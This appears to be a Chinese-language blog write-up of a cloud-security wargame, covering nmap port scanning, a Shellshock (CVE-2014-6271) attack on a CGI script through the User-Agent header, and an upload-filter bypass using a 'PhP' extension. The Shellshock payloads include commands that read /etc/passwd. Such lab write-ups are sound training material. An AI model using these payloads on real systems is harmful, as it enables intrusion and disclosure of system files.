跳到主要內容

ISDA雲端安全推廣 - Wargame level 1-3

ISDA雲端安全推廣 - Wargame level 1-3

Level 1


提示:主機沒有死

這一題其實還蠻有趣的,而且很實際,在每一次的攻擊前,一定會做的就是搜尋,而掃port可以算是基本動作之一,其他像是google hacking之類各種最初的資料蒐集,也是通常攻擊的第一個階段工作,而掃port的工具中,耳熟能響的應該就屬nmap了!

官方網站:https://nmap.org/

至於怎麼用,網路上很多資料,這邊不贅述,而這關就是要找出web服務,一般瀏覽器預設是走port 80,但是出題者,有重新做調整,所以不是走80。

Level 2



提示:level2.cgi, Ubuntu 14.04.1

漏洞:shellshock, CVE-2014-6271

測試語法:
此語法會延遲9秒,才收到response
() { :; }; /bin/sleep 9
注:參考poc程式裡的commandurl: https://github.com/securusglobal/BadBash

Request
GET /cgi-bin/level2.cgi HTTP/1.1
Host: 52.62.39.102:8000
User-Agent:  () { :; }; /bin/sleep 9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Response: 
Response會出現錯誤『500 Internal Server Error』,在這題的攻擊來說這個錯誤訊息算是一個指標,表示我們的攻擊碼已經對後台造成影響,而這邊另外一個重點是它也確實延遲9秒左右主機才有回應,因此可證實它應該存在shellshock漏洞,這邊我有想到調整iptables之類的,直接開門,不過有可能權限會不足,所以就先擺著,先進入level 3

根據level3,得到知道upload資料夾,先來看一下路徑:
level2: /cgi-bin/level2.cgi
upload: /upload/

因此,在這一層要放資料我的相對路徑是
../upload/

接下來就可以開始查資料囉!下面是我測試的幾個指令:
- () { :;}; /bin/bash -c "ls > ../upload/ssftosso_test05.txt"
- () { :;}; /bin/bash -c "pw >> ../upload/ssftosso_test05.txt"
- () { :;}; /bin/bash -c "cat /etc/passwd >> ../upload/ssftosso_test05.txt"

完成!

參考資料:

Level 3



提示:上傳檔案

馬上上傳一個檔案測試一下
Response:

馬上可以資料,上傳的檔案會放在upload裡面。
 
沒有cookie id,換個browser證實是可以直接連結的。

接下來,開始嘗試上傳web page
得到錯誤訊息:

根據Chris大的說明,印象中是apache的解析,php是不管大小的關係,因此phpPHP這兩個雖然都會顯示錯誤,在改一下變成PhP,就成功上傳了!


接下來,其實就只是看要上傳什麼web page上去而已,這邊我就沒有繼續做下去了,不過這裡可以應用到level 2,可以把訊息放到upload裡面,如此一來就可以看到資料了!


以上是我的作法,當然作法不是唯一的,相信還有其他方式,總而言之,這三題的設計從尋找、發現到攻擊,算是一次蠻完整的攻擊流程,給出題者100個贊!XD


留言